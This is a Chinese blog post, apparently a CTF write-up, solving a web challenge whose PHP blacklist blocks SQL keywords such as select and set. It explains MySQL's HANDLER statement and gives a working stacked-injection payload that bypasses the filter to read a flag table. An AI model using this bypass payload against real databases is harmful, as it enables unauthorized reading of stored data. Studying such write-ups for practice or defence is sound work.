

i春秋网络安全公益赛 web blacklist利用mysql特性handler进行堆叠注入

原创

令狐东菱 于 2020-02-24 15:00:45 发布 176 收藏

分类专栏: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qg_42188168/article/details/104477796

版权



[CTF 专栏收录该内容](#)

7 篇文章 0 订阅

订阅专栏

题目过滤了很多东西, 之前题目的利用set进行堆叠注入行不通了

Black list is so weak for you, isn't it

姿势:

```
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\.\/i", $inject);
```

但是去年看过飘零师傅的fudancf的wp, 嘻嘻, 利用mysql的handler进行注入。

13.2.4 HANDLER Statement

```
1  HANDLER tbl_name OPEN [ [AS] alias]
2
3  HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
4    [ WHERE where_condition ] [LIMIT ... ]
5  HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
6    [ WHERE where_condition ] [LIMIT ... ]
7  HANDLER tbl_name READ { FIRST | NEXT }
8    [ WHERE where_condition ] [LIMIT ... ]
9
10 HANDLER tbl_name CLOSE
```

```
mysql> handler flag open as skysec;
Query OK, 0 rows affected (0.00 sec)
```

```
mysql> handler skysec read first;
```

```
+-----+-----+
| id   | flag   |
+-----+-----+
|    1 | flag{test} |
+-----+-----+
```

https://blog.csdn.net/qq_42188168

11'; handler FlagHere open as tgt ;handler tgt read next;--